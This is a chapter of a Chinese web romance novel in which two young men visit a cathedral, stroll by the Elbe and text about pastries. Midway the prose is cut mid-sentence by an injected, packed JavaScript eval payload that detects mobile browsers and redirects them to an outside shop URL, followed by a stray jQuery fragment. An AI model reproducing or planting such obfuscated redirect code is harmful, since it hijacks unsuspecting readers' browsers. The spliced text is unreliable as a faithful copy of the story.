圣母教堂的穹顶比于山栖想象中还要高。
于山栖仰着头站在中殿中央，阳光从穹顶的彩绘玻璃窗倾泻下来，在石板地面上投下一片流动的彩色光斑。
周围有几个游客举着手机拍照，有人小声念着墙上刻的德文铭文，声音在穹顶下回荡流转。
于山栖站在原地没有动。
国内不是没有教堂，他以前也去过几座教堂，但那些建筑多半已经变成了旅游景点，人声鼎沸，卖纪念品的摊位就摆在圣坛旁边。
而这座教堂不一样——它安静、肃穆，让人不自觉地为它静默。
于山栖抬头看着圣坛上方那幅巨大的壁画。画的是基督复活，色彩依旧。
“你信这个？”
徐烈的声音从身侧响起。
他站在于山栖身后半步的位置，也抬头看着那幅画。
“不信，”于山栖说，“但好看。”
徐烈若有所思点点头，没再说话。
于山栖侧过头看了徐烈一眼。
他正仰着头，侧脸的线条被光勾出一道淡金色的轮廓。他的表情很平静，没有平时那种嬉皮笑脸的轻浮感，也没有怼柏杉时那种带刺的锋利。
就是一个站在教堂里的人。安静地看着一幅画。
于山栖抿抿唇收回目光，也重新看向那幅壁画。
他忽然想，如果以后有人要在这里结婚，站在圣坛前宣誓的时候，穹顶上的光落下来，细碎如金粉，一定会很好看。
这个念头来得毫无预兆，于山栖的手指微微蜷了一下，像是被自己脑中的画面烫到了。
他偏过头，强迫自己去读旁边墙上挂着的一块铭牌，上面刻着拉丁文。他没看懂，但至少能掩盖住那一瞬间涌出的念头。
“于山栖，”徐烈忽然叫住他，饶有兴致地看着圣坛，“你觉不觉得，这里很适合结婚?”
就像被火焰燎到了一样，于山栖猛地一缩手，躲开徐烈的动作，对他的问题避而不答。
徐烈见状，一挑眉，反而更生出几分挑逗的恶趣味：
“你看啊，咱俩到时候可以一起来这里登记结婚——”
见于山栖脸色微僵，徐烈忽然俯身凑近，弯着腰从下往上看他，眼里的促狭藏都藏不住。
“想什么呢?我是说，可以领着各自的对象来登记结婚——”
“谁要和你一起结婚！”
于山栖恼羞成怒，扭头就走。留徐烈一人在原地笑得直不起腰。
这人总这么坏，说些似是而非的话迷乱人心，再笑眯眯地说你误会啦，实在讨厌。
徐烈笑够了，几步追上于山栖，两人一起从教堂侧门出来，外面是一条窄巷。石板路被夕阳晒得微微发烫，两侧的墙壁染成了金黄色。
“你刚才在里面看了很久。”徐烈凑近他。
“嗯。”
“在想什么?”
语气淡淡的，就好像徐烈只是不经意抛出一个问题，一点也不在意问题的答案。
于山栖抿抿唇，没有接话，反倒盯着前面的路，加快了几步，将徐烈又甩在了身后。
在想……
这里确实很适合结婚。
徐烈没有再次追上来，而是保持刚才的速度，跟在于山栖身后。
于山栖能感受到那道时刻落在自己身上的视线，不重，但如影随形。
两人沿着石板路走了很久，谁也没再说话，不长的小巷硬是走出了无尽头的感觉。周围有鸽子从屋顶飞过，扑扇翅膀声在小巷中回荡一瞬，又安静下来了。
于山栖先开口了，声音比平时略低一些，仿佛害怕惊扰了什么：
“你告诉克罗拉，我喝热美式?”
“她问我的。”
于山栖明显不信：“她怎么会问你这个。”
徐烈顿了一下，选择用最擅长的玩笑话绕开这个话题：
“她可能一眼就能看出来你有多挑吧。”
于山栖偏头看了徐烈一眼，忽然开口：“你和她聊我?”
“她问的。”徐烈没否认。
“她问了你就说?”
徐烈停下脚步，转过身看着他。
此时两人刚经过一个拐角，街角的路灯还没亮，但天色已经开始微微转暗。暮色落在两人身上，将他们的影子拉得很长，交叠在一起。
“她问了我能说的，”徐烈掰着手指一样一样数，“比如你胃不好，喝美式，爱吃煎蛋，不吃除了生菜油麦菜以外的一切绿色蔬菜……我都说了。”
徐烈每数一样，于山栖心底就跳动一下，好像他那手指是敲在于山栖心上。
“那，还有不能说的?”于山栖抿抿唇，有些干涩。
徐烈没有立刻回答，而是退后两步拉开距离，仔细用目光描摹着眼前人。暮色里他的表情很安静，没有笑，也没有躲。
他说：“……有。”
于山栖等了一会儿，徐烈却没有要继续往下说的意思。只是看了他一眼，转身继续往前走。
这是徐烈第一次走在他前面。
于山栖愣了一会儿，站在原地，看着徐烈走了好几步才追上去。
但他什么也没问。
走到巷口，于山栖低头系了一下鞋带。等他直起身，看到徐烈没有走，而是站在两步之外，双手插兜看着街道尽头的方向。
“不回宿舍？”于山栖问。
徐烈偏头看了他一眼：“时间还早。你想不想去河边走走？”
于山栖本来想说“不用了”，但话到嘴边的时候，他看了一眼徐烈——
他脸上没有那种“你拒绝我就再加一句”的狡黠，只是一个平静简单的问句。像是真的觉得时间还早，像是真的想走走。
“……行。”
两人沿着石板路往易北河的方向走去。老城这一段路两旁种着梧桐，叶子黄了一半，风过的时候有几片落在地上踩上去会发出咯吱咯吱的碎裂声。
走到河岸边的步道时，视野一下子开阔了。
易北河在眼前铺展开来，对岸的新城区露出一截塔楼和几栋白色建筑。河水是灰蓝色的，被风吹出细细的波纹，几只白色的水鸟低低飞过。
徐烈在栏杆边停下来，撑着栏杆往河面看了一会儿。于山栖在他旁边站定，也看向河对岸。
“你以前来过？”于山栖问。
“没有，以前在地图上看到过。”
于山栖应了一声，没有追问。
徐烈看着什么都不在乎，其实并不是会随心所欲想到哪儿去哪儿的人。他说以前看到过，那就说明一直记在心里。
也许他早就想来了，于山栖想，只是没说出口，也没机会。
两人在栏杆边站了一会儿。风从河面上吹过来，带着一点凉意，于山栖外套的衣摆被掀动了一下。
他没有缩肩，但徐烈瞥了他一眼，往侧面挪了半步，挡住了那阵风。
于山栖没有躲开。
两人沿着河道慢慢走，河边有一把铁质长椅，绿漆已然剥脱。徐烈在那张长椅前停了一下，然后坐下来，回头看向于山栖。
“走累了？”
于山栖问是这么问，却心知肚明，以徐烈的体力，让他现在起来沿着刚才的路跑五个来回也不可能累。
连于山栖自己都觉得好笑，怎么问了句废话。
哪知徐烈还真顺坡下驴道：
“嗯，你不累？”
于山栖：“……”
于山栖其实不累，但和徐烈四目相对一阵，还是败下阵来，犹豫了一下，在长椅的另一头坐了下来。
长椅是铁质的，漆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732925|208978||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面有些发旧，坐上去的时候发出微微的咯吱声。
于山栖靠坐在椅背上，把目光移向远处——
广场上有几个孩子在追鸽子，笑声断断续续传过来，很快被风裹挟着卷走。
徐烈没有看他，也没有说话。两人难得有这样平静相处的时刻，既不斗嘴也无争执，只是坐在一起。
于山栖把视线从远处收回来，落在两人之间空着的椅面上。
这片距离是他坐下来的时候下意识留出来的。但此刻他看着那个空位，发现它其实也没有那么必要。
如果是几周前，于山栖一定会觉得坐得越远越好。但今天他坐在这里，隔着一个位置的宽度，他似乎……
也可以接受。
徐烈低着头，眼睑微垂，睫毛在脸上打出一小片阴影，不知在想什么。
于山栖盯着他的侧脸看了两秒，然后收回视线，也把目光放到了远方。
他有些惊讶。
惊讶自己刚才竟有那么一瞬间，觉得这样也很好——
不再和徐烈打打闹闹吵吵嚷嚷，而是像普通的同学、朋友、室友那样，一起吃饭，一起上课，如影随形。
也没什么不好的。
过了好一会儿，徐烈才开口道：“走吧，天快暗了。”
于山栖站起来的时候，手掌在长椅上撑了一下，被太阳晒了一天，余温还留在掌心里。
他收回手：“嗯。”
两人沿着来时的路往回走，谁也没提刚才那一段沉默。
但于山栖知道，那个长椅上的十五分钟，是他和徐烈认识二十二年以来，第一次可以沉默平静地待在一起，只是享受一片日落。
曾经有人说过，看一个人和你关系如何，就要看你们待在一起什么也不做时，会不会觉得尴尬。
那也许，我们的关系也还不错，于山栖想。
他走在徐烈身侧，比来的时候近了半步。
晚上，于山栖洗完澡坐在床边，手里捏着那袋曲奇，表情有些复杂。
他拆开吃了一块——
酥脆的，甜度刚好。
手机响了，小组群里克罗拉发了几篇相关文献，乔纳斯回复了“收到”。
消息一条接着一条，于山栖快速往下划，正准备放下手机，又来了一条消息。
是私聊，徐烈发的。
徐烈：“那家咖啡馆的甜品一般，下次换个地方。”
于山栖看了看手上咬了一半的曲奇，又看了看消息。
他想回徐烈一句“挺好吃的”，字打到一半又全部删掉了。
盯着“下次”两字看了半天，于山栖的拇指停在屏幕上。
他又想回一个“嗯”。
但只一个字太冷淡了，犹豫再三，他打下两个字。
于山栖：“哪家?”
徐烈回得很快：“城南有一家，专门做可颂。我查过了。你不是也很喜欢吃可颂吗?”
于山栖：“你什么时候查的？”
徐烈：“回来的路上。”
于山栖看着这条消息，没有再回，把手机放到枕边，关灯躺下。
黑暗里，于山栖翻了个身，又翻了个身。
在回来的路上。
徐烈在回来的路上查了一家专门做可颂的甜品店。
也是，像徐烈这样的人，在他的计划里，“下次”不是随口说说的，是已经确认了地址的。
于山栖闭着眼，想——
他什么时候开始计划这些的？
于山栖想不通，猜不透。
但也没再像以前那样，纠结不休，或者给自己找点事干试图忘记这份纠结。
只是将疑惑放在那里。
圣母教堂的穹顶在月光下泛着一层浅灰色，静静地矗立在老城中央。